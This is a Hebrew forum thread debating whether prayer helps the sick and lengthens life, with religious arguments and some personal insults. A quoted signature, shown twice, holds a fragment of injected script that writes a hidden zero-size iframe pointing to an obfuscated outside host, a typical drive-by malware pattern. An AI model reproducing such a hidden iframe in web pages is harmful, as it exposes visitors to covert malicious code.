|
|
| נשלח ב-9/3/2015 10:56 |
|
| |
תלמיד, את אורך הימים של הגברים בב"ב אפשר להסביר בפסוק אורך ימים בימינה. אבל יש ניסויים שמראים שתפילות עוזרות, ויש גם מחקרים שמראים שככל שהאדם דתי יותר רכך חייו ארוכים יותר -למעט פונדמנטליסטים שאורך חייהם שווה בערך לזה של המסורתיים - והוא מאושר יותר.
|
|
|
|
| נשלח ב-9/3/2015 11:11 |
|
| |
אריאל מדוע פונדמנטליסטים חיים פחות?
|
|
|
|
| נשלח ב-9/3/2015 11:16 |
|
| |
| שלישישי כתב: |  | | מקס,
תוכל לתת הסבר מעשי איך צריך להתפלל כדי שתפלה תתגשם?.
(אין צורך שתתן קישור לאשכול שלך בעניין התפלה). |
|
ברבים !!! אחרת למה צריך להתפלל ברבים ? מה פירוש אין השכינה שורה אלא בעשרה\רבבה וכו' ?? אני גם חושב כנ"ל שאפי' תפילת יחיד פועלת אם זה פועל ממש על הפיזי, כמו אדם נינוח ורגוע הוא בריא יותר מאדם לחוץ שנהיה חולה.
רציתי לומר משפט אחד לגבי מחקרים וסטטיסטיות לגבי תפילה.
יש לכאורה דרך שהאלוהים ישמע לתפילתינו, כמו שכל אדם ישמע לתפילתינו ויעזור, כך גם האלוהים יכול לעזור.
איך האדם עוזר שהוא שומע את זעקת הזולת ? יש חוק טבע שנקרא האלוהים\האדם מבקש את הנרדף. שאדם שומע זעקה ובכי הוא רץ לעזור. אבל עד כמה הוא יכול לעזור ? אם אנו ביקום דטרמיניסטי מוחלט (אותו סיבה אותו תוצאה), אין סיכוי לאדם להתערב, למשל יש כוח משיכה, ולכן הוא לא יכול לטוס לעזור לו. אבל אם היקום לא דטרמיניסטי מוחלט (לכל סיבה יש יותר מתוצאה אפשרית אחת), אז כאן כל מודע לחופש\אקראיות לתוצאה, יכול להתערב בתוצאה. ולכן הוא יכול להתגבר על הכוח המשיכה ולהמציא את המטוס ולטוס לעזור לזולת שזועק. כל זה כלפי האדם. מה קורה עם האלוהים ? האם האלוהים מתערב ? לכאורה בלתי אפשרי, אחרת היינו רואים יש מאין כל הזמן, וכידוע לא רואים דבר כזה. ולכן האלוהים לא יכול להתערב יותר ממה שהאדם יכול. כלומר האלוהים יכול לעזור לו כמו האדם להתערב בתוצאה שיכולה לצאת מהסיבה. לשם הדוגמא: אדם רץ את ריצת הבוקר בחוף הים, ולא שם לב לאדם שטובע במים כי העיניים שלו אקראיים כרגע, אז יכול האלוהים להתערב לגרום לו לשים לב ואז החוק שהאלוהים\האדם מבקש את הנרדף יפעל מעצמו.
לסיכום עניין זה: האלוהים יכול להתערב בדיוק כמו האדם, אבל הוא מוגבל למה שהאדם עוד לא המציא\מצא. כלומר האלוהים לא ימציא לו מטוס או אנטיביוטיקה וכדומה. הוא יכול לעזור לאדם להמציא את המטוס ואת האנטיביוטיקה על דרך "בדרך שאדם רוצה לילך בו, מוליכים אותו" אבל הוא לא ימציא מעצמו משהו, למשל הוא לא ישלח את ידו להציל את הטובע בים, הוא כן יתערב ויגרום לאדם שרץ בחוף לשים לב לטובע בים.
עכשיו נשאר לשאול מתי הוא מתערב ? האם הוא מתערב כל הזמן או הוא נושא פנים למישהו או לא מתערב אף פעם ? לכאורה חז"ל כבר עמדו על השאלה הזאת ושאלו: הללו עובדי עבודה-זרה והללו עובדי עבודה-זרה. מדוע אתה מציל את ישראל ומטביע את המִצרים בים ??
השאלה היא על איזה חלק של האלוהים מדובר כאן ? האם מדובר על החלק האלוהי שיש בתוכינו ? אם כך אז הוא מתערב כל הזמן. אבל אם מדברים על אלוהים מחוץ לנו, אז באמת למה שהוא יתערב לטובת בני ישראל מול המצרים ? הרי הוא לא נושא פנים ? התשובה היא שברית מילה ושבת היה מספיק מצד האלוהים שבתוכינו להציל אותנו מול המצרים, וגם מצד האלוהים שמחוץ לנו, כי אחרי הפעולה של ברית מילה ושבת, הוא יכול כבר להתערב כמו לעיל אחרי האנטיביוטיקה והמצאת המטוס אפשר לנצח את הכוח המשיכה ואת החיידקים.
אבל נשאר לשאול האם האלוהים מבחוץ מתערב ? נכון שאמרנו שהוא יכול, אבל השאלה האם הוא עושה את זה. האם אפשר לבדוק את זה במחקר או על פי סטטיסטיקה ? התשובה היא שלעולם לא נדע זאת. כי כל התערבות שלו היא כדרך בני אדם ולכן אייך תוכיח שהוא גרם לזה. ניקח את הדוגמא של הרץ בחוף, לעולם לא נדע האם אקראית ההוא שם לב לטובע בים או שהאלוהים התערב.
לסיכום: לעולם לא נדע זאת אבל לדעתי אפי' מחמת ספק ראוי להודות לו ולהתפלל אליו שיתערב.
תוקן על ידי maxmen ב- 09/03/2015 11:23:37
|
|
|
|
| נשלח ב-9/3/2015 11:25 |
|
| |
בעל, עורכי המחקר טוענים שפונדמנטליזם מזיק לבריאות כיוון שהוא דורש מעשים שונים המנוגדים לכללי הבריאות, (למשל, צומות תדירים, סיגופים, מאבקים עם מתונים, וכדו') במבט תיאולוגי אפשר לומר שמוכח כאן שהא-ל אינו מעוניין בפונדמנטליזם.
|
|
|
|
| נשלח ב-9/3/2015 12:05 |
|
| |
| maxmen כתב: |  | | מקס,
תוכל לתת הסבר מעשי איך צריך להתפלל כדי שתפלה תתגשם?.
(אין צורך שתתן קישור לאשכול שלך בעניין התפלה).
ברבים !!! אחרת למה צריך להתפלל ברבים ? מה פירוש אין השכינה שורה אלא בעשרה\רבבה וכו' ??
אני גם חושב כנ"ל שאפי' תפילת יחיד פועלת אם זה פועל ממש על הפיזי, כמו אדם נינוח ורגוע הוא בריא יותר מאדם לחוץ שנהיה חולה.
אבל נשאר לשאול האם האלוהים מבחוץ מתערב ? נכון שאמרנו שהוא יכול, אבל השאלה האם הוא עושה את זה.
האם אפשר לבדוק את זה במחקר או על פי סטטיסטיקה ?
התשובה היא שלעולם לא נדע זאת. כי כל התערבות שלו היא כדרך בני אדם ולכן אייך תוכיח שהוא גרם לזה. ניקח את הדוגמא של הרץ בחוף, לעולם לא נדע האם אקראית ההוא שם לב לטובע בים או שהאלוהים התערב.
לסיכום: לעולם לא נדע זאת אבל לדעתי אפי' מחמת ספק ראוי להודות לו ולהתפלל אליו שיתערב.
תוקן על ידי maxmen ב- 09/03/2015 11:23:37 |
|
מקס,
כוונת שאלתי היתה איך מתפללים, מה עושים?
לגבי איך מוכחים שהוא גרם לכך, בא לי לאתגר אותך דווקא עם דעה של גוי בעניין.
אם יש לך זמן ורצון לקרוא - באנגלית, תשאיר לי כתובת אימייל.
|
|
|
|
| נשלח ב-9/3/2015 12:38 |
|
| |
| ייתכן כתב: |  | מישהו כאן חושב ברצינות שתפילה יכולה לשנות מצב רפואי?
|
|
כן. בהחלט כן. מה גורם לך לחשוב שלא יכול להיות שמישהו יאמין בזה ויחשוב כך ברצינות?
|
|
|
|
| נשלח ב-9/3/2015 12:44 |
|
| |
| שלישישי כתב: |  | מקס,
כוונת שאלתי היתה איך מתפללים, מה עושים?
לגבי איך מוכחים שהוא גרם לכך, בא לי לאתגר אותך דווקא עם דעה של גוי בעניין.
אם יש לך זמן ורצון לקרוא - באנגלית, תשאיר לי כתובת אימייל.
|
|
מה שהמסורות עושה זה טוב ומוכיח את עצמו מכל הבחינות. התפילה בלשון רבים וגם עצם התפילה ברבים כנ"ל, מוכיח. ההוכחה הכי גדולה היא שאפי' יהודים בכל קצבות כדור הארץ שלא מכירים אישית את השני, יש להם שייכות ודואגים אחד לשני. מי צריך יותר מיזה כהוכחה שתפילה עוזרת ?
נ,ב, אני אשלח לך את המייל שלי בפרטי ואני אשמח לקרוא. בכל אופן למה שלא תתן את זה לכולם כאן ? אני חושב שהרבה מהגולשים יתעניינו בזה כמוני.
|
|
|
|
| נשלח ב-9/3/2015 13:11 |
|
| |
מקס למדת אי פעם כללי היסק בסיסיים? מדברים על תפילה ואתה עובר לעמי ארצות שקוראים לבית כנסת בית עם.
תוקן על ידי בעלבעמיו ב- 09/03/2015 13:15:26
|
|
|
|
| נשלח ב-9/3/2015 13:22 |
|
| |
יש ברכה לבטלה כנראה יש גם תפילה לבטלה להתפלל על אדם המתקרב למאה היא תפילה לבטלה על צעירים וילדים משום מה לא מתפללים.
|
|
|
|
| נשלח ב-9/3/2015 13:58 |
|
| |
| מיימוני כתב: |  | וכמובן, בהתחשב במפנה באשכול, שמשמש עכשו לדיון בהתאם לכללי הפורום, ראוי להשאירו.
ותעמוד הזכות הזו גם לרב ולכל החולים בעז"ה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
החכמה היא לדעת לנתב כל דבר למה שצריך
וודאי שכוונתי היתה לטובה ולדון בתפלות ובכוחם גם בגיל מבוגר וכדומה
|
|
|
|
| נשלח ב-9/3/2015 14:06 |
|
| |
| מיימוני כתב: |  | וכמובן, בהתחשב במפנה באשכול, שמשמש עכשו לדיון בהתאם לכללי הפורום, ראוי להשאירו.
ותעמוד הזכות הזו גם לרב ולכל החולים בעז"ה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
| האם שייך שלא להאמין בתועלת התפילה לחולה, ואעפ"כ כן להאמין בתועלת הלימוד לזכות החולה?
|
|
|
|
| נשלח ב-9/3/2015 16:14 |
|
| |
ושם האחר
"להתפלל על אדם בן מאה"
אם אבא שלך היה בן מאה לא היה אכפת לך אם תחיה אתו עוד חודש? גם אדם מונשם יכול לצאת מההנשמה, גם את ר' נסים קרליץ כמעט הספידו כבר כמה פעמים, והוא הספיק לתרום לעולם בזמן שקיבל בינתיים.
ולמה החלטת שעל צעירים לא מתפללים? כל אחד מתפלל על מי שחשוב לו, מי שלא חשובים לו גדולי ישראל ולא מכיר בתרומתם, כמובן שלא ינקוף שום דבר לטובתם. יתכן
כמעט ואין דרך סבירה לכמת את השאלה אם תפילה עוזרת, עקב המורכבות והסיבוך של הענין, שיכול להיות תלוי באינסוף פרמטרים. ולכן גם אם לא היו מחקרים שטוענים שתפילה עוזרת לא היתה הוכחה מן השלילה. אבל לגופה של שאלה, אני לא פגשתי מקור ביהדות שמגלה לנו כמה אחוזים מהתפלות עוזרות, למשל האם 30% מהתפילות מתקבלות, ייתכן בהחלט שרק 0.01% מהתפילות מתקבלות. אבל כשמישהו בסכנה האם לא מנסים כל מיני טיפולים שיש להם סיכוי לא גדול? יותר נכון, בדרך כלל מנסים דברים גם כשהם חסרי סיכוי, עושים הנשמה גם אם עבר הרבה זמן ונראה שאין הרבה סיכויים, ובמקרה של סכנת חיים מנסים הכל, אף שהרבה אינו אלא נסיון של סיכוי מועט, לפעמים התפילה, גם אם היא סיכוי קטן, היא הדבר היחיד שיכול אולי לעשות משהו. וגם אם לא היחיד, עושים אותה במקביל לשאר הטיפולים שיש להם סיכוי קטן.
 |
|
|
|
|
|
| נשלח ב-9/3/2015 19:18 |
|
| |
| בעלבעמיו כתב: |  | מקס למדת אי פעם כללי היסק בסיסיים? מדברים על תפילה ואתה עובר לעמי ארצות שקוראים לבית כנסת בית עם. |
|
מה אתה מתנשא ? עלי הכהן היה עם ארץ ?? שהוא ראה שהיא (חנה) לוחשת ולא נשמעת קולה ובקשתה (התפילה שאתה רומז לה), אז חשב אותה כשיכורה וככה בצדק ייתכן היקר שואל האם אתם כולכם שיכורים ?? בכל זאת עלי לא מרפה ממנה ורוצה לשמוע מהי היא רוצה ונותן לה את בקשתה. כלומר אפי' לשיכור חייבים לעזור.
|
|
|
|
| נשלח ב-9/3/2015 19:28 |
|
| |
| ושםהאחר כתב: |  | | יש ברכה לבטלה כנראה יש גם תפילה לבטלה להתפלל על אדם המתקרב למאה היא תפילה לבטלה על צעירים וילדים משום מה לא מתפללים. |
|
1, שום בטלה (אגב ממתי יש לך בעיות של לומר את שמו יתברך לבטלה), כל תפילה של רחמים מביא את הזולת לנסות להביא לו תרופה ומכאן התפתחות מדעי הרפואה והאריכות ימים במאות האחרונות. אם לא נבקש רחמים אפי' על זקנים, אז נהיה כמו האסקמוסים שבגיל שישים רוצחים את זקניהם ככה שכולנו נפסיד את האריכות הימים.
2, אתה חייב להיות רשע מרושע לומר את המשפט הזה (שהדגשתי בצהוב). האם ריאתה איי פעם בבית המשפט איזה פתק קטן עם בקשה להתפלל לרפואת איזה ילד או ילדה ? אולי ראיתה את זה באיזה מועדון ? או באיזה מגרש כדור רגל\סל ? אצלינו מדביקים את זה על העמוד של השליח ציבור על שם השם ממש תחשבו שמישהו ידביק כזה פתק על סמל המדינה בשולחן של השופט. אין חולה אחד שכל הקהילה וגם בבתי חינוך שלא מתפללים בשבילו. האם יש בית ספר אחר בעולם שעושה את זה ??
אבל תעזוב, השנאה מעוורת עיני חכמים ק"ו עיני טיפשים.
|
|
|
|
| נשלח ב-9/3/2015 19:48 |
|
| |
מקס מי טיפש ביננו הרי הדברים כתובים על כל דפי הפורום הזה ככלב החוזר אל קיאו אתה חוזר ומנסה לבזות כל מה שקשור למדינה שאתה שונא מה עניין בתי משפט וסמלי המדינה להבלים שאתה מגבב
|
|
|
|
|